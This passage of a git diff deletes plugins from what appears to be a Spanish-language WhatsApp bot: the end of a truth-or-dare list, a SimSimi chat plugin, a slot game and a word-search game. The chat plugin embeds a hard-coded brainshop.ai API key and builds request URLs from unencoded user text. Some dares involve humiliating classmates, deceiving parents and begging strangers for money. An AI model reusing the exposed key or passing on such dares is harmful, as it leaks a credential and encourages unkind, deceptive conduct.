-"Dile 'ERES HERMOSA / MUY HERMOSA, NO MIENTES' a la chica que crees que es la más bonita de esta clase.",
-" Dile a alguien en clase: 'Primero me dijeron que era tu gemelo, nos separamos y luego me sometí a una cirugía plástica. Y esto es lo más serio que he dicho' ",
-" Tirar el cuaderno de alguien a la basura, frente a sus ojos, diciendo 'Este libro nadie puede entender' ",
-" ¡Arranca el pelo de tu propia pierna 3 veces!",
-" Chatea con tus padres, diles que los extrañas con emoticonos tristes.",
-" Intente buscar en Google cosas aterradoras o ridículas como tripofobia, etc.",
-" Siéntese relajado en medio de la cancha de baloncesto mientras finge que es una playa para tomar el sol.",
-" Llena tu boca de agua y tienes que aguantar hasta dos rondas, si te ríes y derramas o bebes, entonces tienes que volver a llenar y agregar una ronda más.",
-" Salude a la primera persona que entre en esta sala y diga '¡Bienvenido a Quién quiere ser millonario!' ",
-"Envía un mensaje de texto a tus padres '¡Hola, hermano! ¡Acabo de comprar el último número de la revista Playboy!' ",
-"Envíales un mensaje de texto a tus padres: 'Mamá, papá, ya sé que soy un niño adoptado del orfanato. No ocultes esto más'.",
-" Envía tres números aleatorios en tus contactos y escribe 'Me acabo de convertir en modelo de la revista Playboy' ",
-" ¡Come una cucharada de salsa de soja dulce y salsa de soja!",
-" Come algo pero no uses las manos.",
-" Enojarse con sus amigos que no vienen a pesar de que tienen una cita para jugar 'Verdad o Reto' juntos",
-"¡Rompe el huevo con la cabeza!",
-"Coma alimentos que se hayan mezclado y tendrán un sabor extraño, pero asegúrese de que los alimentos no sean dañinos para la salud a largo o corto plazo.",
-"Baila como Girls 'Generation para los niños frente a la clase, o baila como Super Junior para las niñas.",
-"Izar el asta de la bandera sin la bandera.",
-"Hablando de la persona que te gusta, de tus amigos más cercanos, del sexo opuesto que no conoces en absoluto y cosas por el estilo.",
-"Copia los peinados de todos tus amigos.",
-"Cantando la canción HAI TAYO frente a mucha gente mientras baila",
-"Cante la canción Baby Shark en voz alta en el aula.",
-"Pedir prestado algo a los vecinos",
-"Pide la firma de uno de los profesores más feroces mientras dices 'Eres verdaderamente la persona que más admiro en el mundo' ",
-" Pídale dinero a alguien (al azar ) en la calle diciendo 'No tengo dinero para tomar un angkot'.",
-" Beba algo que haya sido preparado / acordado, pero asegúrese de que no sea peligroso, puede ser como beber jarabe mezclado con salsa de soja.",
-" Hablando con el emoticono-miedo de la persona que te gusta, está bien conversar con lo que quieras, a través de cualquier medio que puedas.",
-" Canta tu película de Disney favorita fuera de casa mientras gritas.",
-" Nombra de 1 azul a 20 azules rápidamente y no debes cometer ningún error. Si está mal, debe repetirse desde el principio.",
-" Póngase una corona de papel de copia y diga a todos en la habitación 'HONOR AL REY' mientras señala a cada persona con una regla.",
-" Vuelve a ponerte los pantalones hasta la mañana siguiente.",
-" Abraza a la persona que NO te agrada en clase y di: 'Muchas gracias por ser la mejor persona para mí' ",
-" Ve a un campo amplio, luego corre lo más rápido posible mientras dices 'Estoy loco, estoy loco' ",
-" Elija una flor y luego conéctela a alguien que no conoce (debe ser del sexo opuesto)",
-" Elige a una persona al azar en la calle, luego di 'No sabes que eres hermosa' (ala One Direction)",
-" Fingir estar poseído ejm: poseído por un tigre, etc.",
-" Pídale que silbe ya que su boca está nuevamente llena de comida.",
-" Pide ser un mesero para que te sirva con tus amigos para el almuerzo.",
-" Dígales que usen calcetines para hacer guantes.",
-"Dígales que usen el sombrero más extraño / el casco más absurdo durante la próxima ronda.",
-"Llama a tu mamá y dile 'mamá, quiero casarme lo antes posible' ",
-"Llama a tu ex y di 'te extraño' ",
-"Cambia de ropa con la persona más cercana hasta la siguiente ronda.",
-"Actualice el estado en WhatsApp lo que sea con palabras que comiencen con 'S' ",
-"Sube un video de canto a YouTube que esté cantando canciones populares.",
-"Colorea tus uñas de las manos y de los pies de diferentes colores durante una semana.",
-"come 2 cucharadas de arroz sin guarniciones",
-"Envie el emoji '🦄💨' cada vez que escriba en un grupo 1 día",
-"diga '¡Bienvenido a Quién quiere ser millonario!' a todos los grupos que tienes",
-"canta el coro de la última canción que tocaste",
-"Envia un audio de voz a tu ex / enamorado / novia, dile hola (nombre), quiero llamar, solo un momento. Te Extraño🥺👉🏼👈🏼 ",
-"Dile a la gente al azar: Primero me dijeron que era tu gemelo, nos separamos y luego me sometí a una cirugía plástica. Y esto",
-"¡Haz 1 rima para el primer jugador!",
-"cuenta tu propia versión de cosas vergonzosas",
-"cambiar el nombre a 'Gay' durante 24 horas",
-"¡Menciona tu tipo de novia!",
-"Di 'Estoy enamorado de ti, ¿quieres ser mi novio o no?' al último sexo opuesto con el que conversaste en WhatsApp, espera a que responda",
-"Háblale a tu ex por WhatsApp y dile 'te amo, por favor vuelve'. Manda una captura de pantalla como evidencia de reto cumplido!"
-]
diff --git a/plugins/fun-simi.js b/plugins/fun-simi.js
deleted file mode 100644
index d4cf906e4..000000000
--- a/plugins/fun-simi.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import translate from '@vitalets/google-translate-api'
-import fetch from "node-fetch"
-let handler = async (m, { text, command, args, usedPrefix }) => {
- if (!text) throw `*Hola quiere hablar un rato conmigo?* *escriba un texto para hablar conmigo*\n\n*Ejemplo: ${usedPrefix + command} Hola bot*`
- try {
- await conn.sendPresenceUpdate('composing', m.chat)
- let api = await fetch("https://api.simsimi.net/v2/?text=" + text + "&lc=es")
- let resSimi = await api.json()
- m.reply(resSimi.success)
- } catch {
- try {
- if (text.includes('Hola')) text = text.replace('Hola', 'Hello')
- if (text.includes('hola')) text = text.replace('hola', 'Hello')
- if (text.includes('HOLA')) text = text.replace('HOLA', 'HELLO')
- let reis = await fetch("https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=en&dt=t&q=" + text)
- let resu = await reis.json()
- let nama = m.pushName || '1'
- let api = await fetch("http://api.brainshop.ai/get?bid=153868&key=rcKonOgrUFmn5usX&uid=" + nama + "&msg=" + resu[0][0][0])
- let res = await api.json()
- let reis2 = await fetch("https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=es&dt=t&q=" + res.cnt)
- let resu2 = await reis2.json()
- m.reply(resu2[0][0][0])
- } catch {
- let reisss = await fetch("https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=id&dt=t&q=" + text)
- let resuuu = await reisss.json()
- let res222 = await fetch(`https://violetics.pw/api/utility/simsimi?apikey=beta&text=${resuuu[0][0][0]}`)
- let json222 = await res222.json()
- let resulttt = json222.result
- let lolll = await translate(`${resulttt}`, { to: 'es', autoCorrect: true })
- m.reply(lolll.text)
- }}
-}
-handler.help = ['simsimi']
-handler.tags = ['General']
-handler.command = ['bot', 'simi', 'simsimi']
-export default handler
diff --git a/plugins/fun-slot.js b/plugins/fun-slot.js
deleted file mode 100644
index 221fe3cd8..000000000
--- a/plugins/fun-slot.js
+++ /dev/null
@@ -1,240 +0,0 @@
-/* CREDITOS: https://github.com/FG98F */
-
-let handler = async (m, { args, usedPrefix, command, conn }) => {
-let fa = `${mg}𝙐𝙨𝙖𝙧 𝙙𝙚𝙡 𝙡𝙖 𝙨𝙞𝙜𝙪𝙞𝙚𝙣𝙩𝙚 𝙢𝙖𝙣𝙚𝙧𝙖:
-
-𝙀𝙟𝙚𝙢𝙥𝙡𝙤:
-*${usedPrefix + command} 50*`.trim()
-
-if (!args[0]) throw fa
-if (isNaN(args[0])) throw fa
-let apuesta = parseInt(args[0])
-
-let users = global.db.data.users[m.sender]
-//let time = global.db.data.users[m.sender].lastwork + 30000
-//if (new Date - users.lastwork < 30000) throw `*𝙑𝙐𝙀𝙇𝙑𝘼 𝙀𝙉 ${msToTime(time - new Date())} 𝙋𝘼𝙍𝘼 𝘾𝙊𝙉𝙏𝙄𝙉𝙐𝘼𝙍 𝘼𝙋𝙊𝙎𝙏𝘼𝙉𝘿𝙊* 🎰\n\n*𝘾𝙊𝙈𝙀 𝘽𝘼𝘾𝙆 𝙄𝙉 ${msToTime(time - new Date())} 𝙏𝙊 𝘾𝙊𝙉𝙏𝙄𝙉𝙐𝙀 𝘽𝙀𝙏𝙏𝙄𝙉𝙂* 💰`
-
-if (apuesta < 10) throw `${lenguajeGB['smsAvisoAG']()}𝑫𝒆𝒃𝒆𝒓 𝒅𝒆𝒍 𝒂𝒑𝒐𝒔𝒕𝒂𝒓 𝒖𝒏 𝒎𝒊́𝒏𝒊𝒎𝒐 𝒅𝒆 *10*`
-
-if (users.exp < apuesta) {
-throw `${lenguajeGB['smsAvisoFG']()}𝑵𝒐 𝒂𝒍𝒄𝒂𝒏𝒛𝒂 𝒑𝒂𝒓𝒂 𝒂𝒑𝒐𝒔𝒕𝒂𝒓 𝒆𝒙𝒑, 𝒍𝒆 𝒓𝒆𝒄𝒐𝒎𝒊𝒆𝒏𝒅𝒐 𝒊𝒏𝒕𝒆𝒓𝒂𝒄𝒕𝒖𝒂𝒓 𝒄𝒐𝒏 𝒆𝒍 𝒃𝒐𝒕 𝒑𝒂𝒓𝒂 𝒐𝒃𝒕𝒆𝒏𝒆𝒓 𝒎𝒂́𝒔 𝒓𝒆𝒄𝒖𝒓𝒔𝒐𝒔`
-}
-if (command == 'slot1') {
-let time = global.db.data.users[m.sender].lastslot + 60000
-if (new Date - users.lastslot < 60000) throw `*𝑽𝒖𝒆𝒍𝒗𝒂 𝒆𝒏 ${msToTime(time - new Date())} 𝑷𝒂𝒓𝒂 𝒄𝒐𝒏𝒕𝒊𝒏𝒖𝒂𝒓 𝒂 𝒑𝒐𝒔𝒕𝒂𝒏𝒅𝒐 𝒆𝒙𝒑* 🎰`
-users.lastslot = new Date * 1
-
-let emojis = ["🍁", "⚡", "🍇"];
-let a = Math.floor(Math.random() * emojis.length);
-let b = Math.floor(Math.random() * emojis.length);
-let c = Math.floor(Math.random() * emojis.length);
-let x = [],
-y = [],
-z = [];
-for (let i = 0; i < 3; i++) {
-x[i] = emojis[a];
-a++;
-if (a == emojis.length) a = 0;
-}
-for (let i = 0; i < 3; i++) {
-y[i] = emojis[b];
-b++;
-if (b == emojis.length) b = 0;
-}
-for (let i = 0; i < 3; i++) {
-z[i] = emojis[c];
-c++;
-if (c == emojis.length) c = 0;
-}
-let end;
-if (a == b && b == c) {
-end = `✨ *QUE PRO!! HAS GANADO +${apuesta + apuesta} EXP*`
-users.exp += apuesta
-} else if (a == b || a == c || b == c) {
-end = `🙀 *CASI!!, VUELVA A INTENTAR*\n*BONO DE +50 EXP*`
-users.exp += 50
-} else {
-end = `😿 *HA PERDIDO!! ❌ -${apuesta} EXP*`
-users.exp -= apuesta
-}
-//users.lastslot = new Date * 1
-//return await m.reply(
- // `
-await delay(5000)
-let s = `🎰 | *RANURAS* | 🎰
- ────────
- ${x[0]} : ${y[0]} : ${z[0]}
- ${x[1]} : ${y[1]} : ${z[1]}
- ${x[2]} : ${y[2]} : ${z[2]}
- ────────
-🎰 | *SLOTS* | 🎰
-
-${end}`
-await conn.reply(m.chat, s, m)}
-/*await conn.sendHydrated(m.chat, `${s}\n\n${end}`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-['⚡ 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝙊𝙏𝙍𝘼 𝙑𝙀𝙕 | 𝘼𝙂𝘼𝙄𝙉', `${usedPrefix}slot1 ${apuesta}`],
-['🐈 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝙂𝘼𝙏𝘼𝘾𝙊𝙄𝙉𝙎', `${usedPrefix}slot2 ${apuesta}`],
-['💎 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝘿𝙄𝘼𝙈𝘼𝙉𝙏𝙀𝙎', `${usedPrefix}slot3 ${apuesta}`]
-], m,)}*/
-
-
-if (users.money < apuesta) {
-throw `${lenguajeGB['smsAvisoFG']()}𝑵𝒐 𝒂𝒍𝒄𝒂𝒏𝒛𝒂 𝒑𝒂𝒓𝒂 𝒂𝒑𝒐𝒔𝒕𝒂𝒓 𝑳𝒐𝒍𝒊𝒄𝒐𝒊𝒏𝒔, 𝒍𝒆 𝒓𝒆𝒄𝒐𝒎𝒊𝒆𝒏𝒅𝒐 𝒊𝒏𝒕𝒆𝒓𝒂𝒄𝒕𝒖𝒂𝒓 𝒄𝒐𝒏 𝒆𝒍 𝒃𝒐𝒕 𝒑𝒂𝒓𝒂 𝒐𝒃𝒕𝒆𝒏𝒆𝒓 𝒎𝒂́𝒔 𝒓𝒆𝒄𝒖𝒓𝒔𝒐𝒔`
-}
-if (command == 'slot2') {
-let time = global.db.data.users[m.sender].lastslot + 60000
-if (new Date - users.lastslot < 60000) throw `*𝑽𝒖𝒆𝒍𝒗𝒂 𝒆𝒏 ${msToTime(time - new Date())} 𝑷𝒂𝒓𝒂 𝒄𝒐𝒏𝒕𝒊𝒏𝒖𝒂𝒓 𝒂 𝒑𝒐𝒔𝒕𝒂𝒏𝒅𝒐 𝑳𝒐𝒍𝒊𝒄𝒐𝒊𝒏𝒔* 🎰`
-users.lastslot = new Date * 1
-
-let emojis = ["🐈", "🐓", "🐙"];
-let a = Math.floor(Math.random() * emojis.length);
-let b = Math.floor(Math.random() * emojis.length);
-let c = Math.floor(Math.random() * emojis.length);
-let x = [],
-y = [],
-z = [];
-for (let i = 0; i < 3; i++) {
-x[i] = emojis[a];
-a++;
-if (a == emojis.length) a = 0;
-}
-for (let i = 0; i < 3; i++) {
-y[i] = emojis[b];
-b++;
-if (b == emojis.length) b = 0;
-}
-for (let i = 0; i < 3; i++) {
-z[i] = emojis[c];
-c++;
-if (c == emojis.length) c = 0;
-}
-let end;
-if (a == b && b == c) {
-end = `✨ *QUE PRO!! HAS GANADO +${apuesta + apuesta} GataCoins*`
-users.money += apuesta
-} else if (a == b || a == c || b == c) {
-end = `🙀 *CASI!!, VUELVA A INTENTAR*\n*BONO DE +30 GataCoins*`
-users.money += 30
-} else {
-end = `😿 *HA PERDIDO!! ❌ -${apuesta} GataCoins*`
-users.money -= apuesta
-}
-//users.lastslot = new Date * 1
-//return await m.reply(
- // `
-await delay(5000)
-let ss = `
-🎰 | *RANURAS* | 🎰
- ────────
- ${x[0]} : ${y[0]} : ${z[0]}
- ${x[1]} : ${y[1]} : ${z[1]}
- ${x[2]} : ${y[2]} : ${z[2]}
- ────────
-🎰 | *SLOTS* | 🎰\n\n${end}`
-await conn.reply(m.chat, ss, m)}
-/*await conn.sendHydrated(m.chat, `${ss}\n\n${end}`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-['🐈 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝙊𝙏𝙍𝘼 𝙑𝙀𝙕 | 𝘼𝙂𝘼𝙄𝙉', `${usedPrefix}slot2 ${apuesta}`],
-['⚡ 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝙀𝙓𝙋', `${usedPrefix}slot1 ${apuesta}`],
-['💎 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝘿𝙄𝘼𝙈𝘼𝙉𝙏𝙀𝙎', `${usedPrefix}slot3 ${apuesta}`]
-], m,)}*/
-
-
-if (users.limit < apuesta) {
-throw `${lenguajeGB['smsAvisoFG']()}𝑵𝒐 𝒂𝒍𝒄𝒂𝒏𝒛𝒂 𝒑𝒂𝒓𝒂 𝒂𝒑𝒐𝒔𝒕𝒂𝒓 𝑫𝒊𝒂𝒎𝒂𝒏𝒕𝒆, 𝒍𝒆 𝒓𝒆𝒄𝒐𝒎𝒊𝒆𝒏𝒅𝒐 𝒊𝒏𝒕𝒆𝒓𝒂𝒄𝒕𝒖𝒂𝒓 𝒄𝒐𝒏 𝒆𝒍 𝒃𝒐𝒕 𝒑𝒂𝒓𝒂 𝒐𝒃𝒕𝒆𝒏𝒆𝒓 𝒎𝒂́𝒔 𝒓𝒆𝒄𝒖𝒓𝒔𝒐𝒔`
-}
-if (command == 'slot3') {
-let time = global.db.data.users[m.sender].lastslot + 30000
-if (new Date - users.lastslot < 30000) throw `*𝑽𝒖𝒆𝒍𝒗𝒂 𝒆𝒏 ${msToTime(time - new Date())} 𝑷𝒂𝒓𝒂 𝒄𝒐𝒏𝒕𝒊𝒏𝒖𝒂𝒓 𝒂 𝒑𝒐𝒔𝒕𝒂𝒏𝒅𝒐 𝑫𝒊𝒂𝒎𝒂𝒏𝒕𝒆* 🎰`
-users.lastslot = new Date * 1
-
-let emojis = ["🪵", "💣", "💎"];
-let a = Math.floor(Math.random() * emojis.length);
-let b = Math.floor(Math.random() * emojis.length);
-let c = Math.floor(Math.random() * emojis.length);
-let x = [],
-y = [],
-z = [];
-for (let i = 0; i < 3; i++) {
-x[i] = emojis[a];
-a++;
-if (a == emojis.length) a = 0;
-}
-for (let i = 0; i < 3; i++) {
-y[i] = emojis[b];
-b++;
-if (b == emojis.length) b = 0;
-}
-for (let i = 0; i < 3; i++) {
-z[i] = emojis[c];
-c++;
-if (c == emojis.length) c = 0;
-}
-let end;
-if (a == b && b == c) {
-end = `✨ *QUE PRO!! HAS GANADO +${apuesta + apuesta} Diamantes*`
-users.limit += apuesta
-} else if (a == b || a == c || b == c) {
-end = `🙀 *CASI!!, VUELVA A INTENTAR*\n*BONO DE +2 Diamantes*`
-users.limit += 2
-} else {
-end = `😿 *HA PERDIDO!! ❌ -${apuesta} Diamantes*`
-users.limit -= apuesta
-}
-//users.lastslot = new Date * 1
-//return await m.reply(
- // `
-await delay(3000)
-let sss = `
-🎰 | *RANURAS* | 🎰
- ────────
- ${x[0]} : ${y[0]} : ${z[0]}
- ${x[1]} : ${y[1]} : ${z[1]}
- ${x[2]} : ${y[2]} : ${z[2]}
- ────────
-🎰 | *SLOTS* | 🎰\n\n${end}`
-await conn.reply(m.chat, sss, m)}
-/*await conn.sendHydrated(m.chat, `${sss}\n\n${end}`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-['💎 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝙊𝙏𝙍𝘼 𝙑𝙀𝙕 | 𝘼𝙂𝘼𝙄𝙉', `${usedPrefix}slot3 ${apuesta}`],
-['⚡ 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝙀𝙓𝙋', `${usedPrefix}slot1 ${apuesta}`],
-['🐈 𝘼𝙋𝙊𝙎𝙏𝘼𝙍 𝘾𝙊𝙉 𝙂𝘼𝙏𝘼𝘾𝙊𝙄𝙉𝙎', `${usedPrefix}slot2 ${apuesta}`]
-], m,)}*/
-
-
-if (command == 'slot') {
-await conn.reply(m.chat, `*Elija en que apostará ${apuesta}*\n\n⚡ Exp:\n${usedPrefix}slot1 ${apuesta}\n\n🐈 Lolicoins:\n${usedPrefix}slot2 ${apuesta}\n\n💎 diamante:\n${usedPrefix}slot3 ${apuesta}`, m)}
-/*await conn.sendHydrated(m.chat, `*Elija en que apostará ${apuesta}*`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-['⚡ 𝙀𝙓𝙋', `${usedPrefix}slot1 ${apuesta}`],
-['🐈 𝙂𝘼𝙏𝘼𝘾𝙊𝙄𝙉𝙎', `${usedPrefix}slot2 ${apuesta}`],
-['💎 𝘿𝙄𝘼𝙈𝘼𝙉𝙏𝙀𝙎', `${usedPrefix}slot3 ${apuesta}`]
-], m,)}*/
-
-if (command == 'apostar') {
-await conn.reply(m.chat, `*Elija en que apostará ${apuesta}*\n\n*Choose what you will*\n\n⚡Exp:\n${usedPrefix}slot1 ${apuesta}\n🐈 Lolicoins:\n${usedPrefix}slot2 ${apuesta}\n💎 Diamante:\n${usedPrefix}slot3 ${apuesta}`, m)}
-/*await conn.sendHydrated(m.chat, `*Elija en que apostará ${apuesta}*\n\n*Choose what you will*`, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
-['⚡ 𝙀𝙓𝙋', `${usedPrefix}slot1 ${apuesta}`],
-['🐈 𝙂𝘼𝙏𝘼𝘾𝙊𝙄𝙉𝙎', `${usedPrefix}slot2 ${apuesta}`],
-['💎 𝘿𝙄𝘼𝙈𝘼𝙉𝙏𝙀𝙎', `${usedPrefix}slot3 ${apuesta}`]
-], m,)}*/
-
-//global.db.data.users[m.sender].lastwork = new Date * 1
-
-}
-handler.help = ['slot ']
-handler.tags = ['game']
-handler.command = ['slot', 'apostar', 'slot1', 'slot2', 'slot3']
-handler.register = true
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
-
-function msToTime(duration) {
-var milliseconds = parseInt((duration % 1000) / 100),
-seconds = Math.floor((duration / 1000) % 60),
-minutes = Math.floor((duration / (1000 * 60)) % 60),
-hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
-
-hours = (hours < 10) ? "0" + hours : hours
-minutes = (minutes < 10) ? "0" + minutes : minutes
-seconds = (seconds < 10) ? "0" + seconds : seconds
-
-return minutes + " m " + seconds + " s "
-}
diff --git a/plugins/fun-sopa_de_letras.js b/plugins/fun-sopa_de_letras.js
deleted file mode 100644
index f5dd276c6..000000000
--- a/plugins/fun-sopa_de_letras.js
+++ /dev/null
@@ -1,165 +0,0 @@
-//CREADO POR @gata_dios
-
-let fila, columna, sopaNube, sopaPalabra, sopaDir, userSP, cambioLetra, diamante = null
-let intentos = 0
-let handler = async (m, { conn, text, usedPrefix, command}) => {
-
-if (!userSP) {
-userSP = m.sender.split("@")[0]
-await conn.reply(m.chat, `*@${m.sender.split("@")[0]} REGISTRADO EN EL JUEGO* ✅`, m, { mentions: [m.sender] })
-}
-
-async function generarSopaDeLetras() {
-const LADO = 16 // Si es alto o bajo, puede dar error, deja como esta
-let sopaDeLetras = new Array(LADO);
-
-for (let i = 0; i < LADO; i++) {
-sopaDeLetras[i] = new Array(LADO)
-}
-
-const PALABRAS = ['ALGORITMOS', 'ANDROID', 'ANIME', 'ARQUITECTO', 'ARTE', 'ASTRONOMIA', 'AVATAR', 'BIOLOGIA', 'CARTOGRAFIA', 'CINEMATICA', 'CIENCIA', 'CODIFICAR', 'CRUCIGRAMA', 'CRUCIVERBA', 'CUADRO', 'DISENADOR', 'ECONOMIA', 'EINSTEIN', 'ENCICLOPEDIA', 'ESTADOS', 'STUDIOS', 'SUDOKU', 'TAICHI', 'TECNOLOGIA', 'TERMINATOR', 'TETRIS', 'LEGENDZELDA', 'TIKTOK', 'TURING', 'UNIVERSO', 'VIDEOJUEGOS', 'VIRUS', 'WARCRAFT', 'WHATSAPP', 'XBOX', 'XENOVERSE', 'YOGA', 'YOUTUBE', 'ZELDA', 'ZENON', 'ANATOMIA', 'ATLETISMO', 'BACTERIA', 'BOTANICA', 'CATALOGAR', 'DANZA', 'DETECCION', 'DRAGONBALL', 'ELECTRONICA', 'ESPACIO', 'EVOLUCION', 'FANTASMAS', 'FICCION', 'FOTOGRAFIA', 'GATABOT', 'GEOGRAFIA', 'GITHUB', 'HIPHOP', 'HISTORIA', 'INNOVACION', 'JARDINERIA', 'KARATE', 'LENGUAJE', 'LITERATURA', 'MAGIA', 'MARVEL', 'MATRICES', 'MUSICA', 'NATACION', 'NEUROLOGIA', 'NUMEROLOGIA', 'ORNITOLOGIA', 'PAINTBALL', 'PIZZA', 'POLITICA', 'QUIZAS', 'RELOJERIA', 'ROBOTICA', 'SALUD', 'SCIFI', 'SEXOLOGIA', 'SIMPSONS', 'SISTEMAS', 'TALENTO', 'TAROT', 'TOPOGRAFIA', 'TRADICION', 'TRIVIAL', 'URBANISMO', 'UTOPICO', 'VETERINARIA', 'VIAJES', 'ZOOLOGIA', 'NARUTO', 'DRAGONBALL', 'ONEPIECE', 'ATTACKTITAN', 'DEATHNOTE', 'BLEACH', 'FULLMETAL', 'SWORDONLINE', 'FAIRYTAIL', 'HEROACADEMIA', 'DEMONSLAYER', 'BLACKCLOVER', 'HUNTER', 'TOKYO', 'BOKUNOHERO', 'COWBOYBEBOP', 'CODEGEASS', 'EVANGELION', 'KIMETSU', 'STEINS', 'GINTAMA', 'YUYUHAKUSHO', 'GURREN', 'JOJOBIZARRE', 'ONEPUNCHMAN', 'KON', 'CLANNAD', 'HAIKYUU', 'AKIRA', 'GHOSTSHELL', 'YOURLIE', 'SAILORMOON', 'POKEMON', 'DIGIMON', 'PRINCESS', 'SPIRITED', 'MOCASTLE', 'MYTOTORO',
-'PINTURA', 'DIBUJAR', 'ESBOZAR', 'ACUARELA', 'ESCULTURA', 'RETRATO', 'ABSTRACTO', 'PAISAJE', 'ARTESANIA', 'ESTAMPAR', 'TALLERES', 'CERAMICA', 'ESTAMPAR', 'DIBUJANT', 'GALERIAS', 'FOTOGRAF', 'ESTAMPAD', 'MUSEOS', 'ARTISTAS', 'COMICS', 'OBRASART', 'ESCENOGRA', 'ACRILICO', 'GRABADOS', 'HISTORIA', 'BELLASART', 'PINTORES', 'RETRATOS', 'FIGURATIV', 'IMPRESION', 'OLEO', 'PAPERCUT', 'PINCELES', 'ESCULTORE', 'BARRO', 'FOTOGRAFO', 'ACRILICOS', 'AEROGRAFO', 'ESCULTURAS', 'RELIEVES', 'PIGMENTOS', 'CARBONCIL', 'ESTAMPADO', 'FOTOGRAFI', 'RETRATIST', 'VINILO', 'EPOXICO', 'FOTOGRAFIA', 'ARTESANAS', 'TALLERIST', 'ARTENEGRO', 'ARTISTICA', 'PINTARRON', 'GISELLES', 'ESTATUAS', 'BODEGONES', 'RETRATAR', 'ACUARELAS', 'ESCULTORI', 'TRIPTICOS', 'FOTOMURAL', 'RETABLOS', 'BODEGONIS', 'GRABADORA', 'CURSOARTE', 'MANUALIDA', 'DIBUJANTE', 'LAMINADOS', 'ESCULTORAS', 'PINCELAZO', 'CARTONERA', 'ESTARCIDO', 'HUELLISTA', 'IMPRESORA', 'PINCELETA', 'PUNTILLIS', 'LITOGRAFO', 'OLEOSOBRE', 'TEJEDURIA', 'TINTOREAS', 'TIZIANOVA', 'ARTEFLOR', 'BELLASARTS', 'BRONCESOB', 'FOTOGRAFAS', 'MUSEOGRAFO', 'PINTURAEN', 'RETRATARO', 'TRAMPANTO', 'ZONAARTE', 'ACRILICASS', 'ESCULTURAS', 'ESTAMPACION', 'FOTOMONTAJE', 'MURALISTAS', 'PAISAJISMO', 'PINTORAS', 'PREHISTORIC', 'RETRATANDO', 'TEMPELATES', 'ACUARELIST', 'AEROGRAFOS', 'BARROCOS', 'BODEGONIST', 'CARBONCILS', 'CARTONERAS', 'CURSOSARTE', 'DIBUJANTES', 'ESTARCIDOS', 'FOTOGRAFOS', 'GRABADORES', 'LAMINADORA', 'LITOGRAFOS', 'OLEOGRAFIA', 'PAPELMAKIS', 'PINTARRONES', 'PINCELAZOS', 'PUNTILLISM', 'RETABLISTA', 'TALLERISTAS', 'TEJEDURIAS', 'TIZIANOS', 'VANGUARDIS', 'VINILOSADH', 'ESTATUILLA',
-'PASARELA', 'VESTIDOS', 'MODELOS', 'ESTAMPADO', 'CALZADO', 'BISUTERIA', 'COMPLEMENTO', 'BOUTIQUE', 'TENDENCIA', 'AGUJA', 'HILO', 'FASHION', 'MARCAS', 'TEXTIL', 'CORTE', 'ESTAMPADO', 'LOOK', 'CONFECCION', 'COSTURA', 'ACCESORIO', 'ESTAMPADO', 'FASHIONISTA', 'GLAMOUR', 'GAMA', 'BRILLO', 'ESTAMPADO', 'TELA', 'ESTAMPADO', 'PASION', 'TIENDA', 'VESTUARIO', 'ZAPATO', 'DESFILE', 'COSER', 'MODISTA', 'CHAQUETA', 'PIEL', 'CAMISA', 'ESTAMPADO', 'CAMISETA', 'PEINADO', 'MAQUILLAJE', 'ESTILO', 'OUTFIT', 'MAGAZINE', 'FORTNITE', 'OVERWATCH', 'LEAGUEOFLEG', 'DOTA', 'WARFRAME', 'DESTINY', 'MINECRAFT', 'HEARTHSTONE', 'WORLDWART', 'COUNTERSTRK', 'ROBLOX', 'RUNESCAPE', 'TERRARIA', 'PALADINS', 'SMITE', 'ARCHEAGE', 'GUILDWARS', 'BLACKDESERT', 'TERA', 'ALBIONONLIN', 'BRAWLHALLA', 'APEXLEGEND', 'VALORANT', 'TEAMFIGHT', 'PUBG', 'HALOGUARD', 'SEAOFTHIEVE', 'STARCRAFT', 'HEROESSTOR', 'WOWCLASSIC', 'OLDSCROLLO', 'DIABLO', 'FINALFANTASY', 'ESCAPEFROM', 'RUST', 'AMONGUS', 'IMPOSTER', 'FALLGUYS', 'PHASMOPHOB', 'ROCKETLEAG', 'FORHONOR', 'MEXICO', 'BRASIL', 'FRANCIA', 'ALEMANIA', 'ITALIA', 'JAPON', 'CHINA', 'RUSIA', 'CANADA', 'AUSTRALIA', 'SPAIN', 'ARGENTINA', 'COLOMBIA', 'PORTUGAL', 'SUIZA', 'SUECIA', 'NORUEGA', 'HOLANDA', 'BELGICA', 'DINAMARCA', 'POLONIA', 'HUNGRIA', 'AUSTRIA', 'CROACIA', 'SERBIA', 'RUMANIA', 'BULGARIA', 'GRECIA', 'TURQUIA', 'EGIPTO', 'MARRUECOS', 'SUDAFRICA', 'NIGERIA', 'KENIA', 'ETIOPIA', 'CHILE', 'PERU', 'ECUADOR', 'BOLIVIA', 'PARAGUAY', 'URUGUAY', 'CUBA', 'JAMAICA', 'HAITI', 'PUERTORICO', 'REPDOMINICANA', 'VENEZUELA', 'NICARAGUA', 'GUATEMALA', 'ELSALVADOR', 'HONDURAS', 'PANAMA', 'COSTARICA', 'BELICE', 'IRLANDA', 'INGLATERRA', 'ESCOCIA', 'GALES', 'USA', 'RUMANIA', 'UCRANIA', 'NUEVAZELANDA', 'FIJIS', 'SAMOA', 'TONGA', 'VANUATU', 'KIRIBATI', 'MICRONESIA', 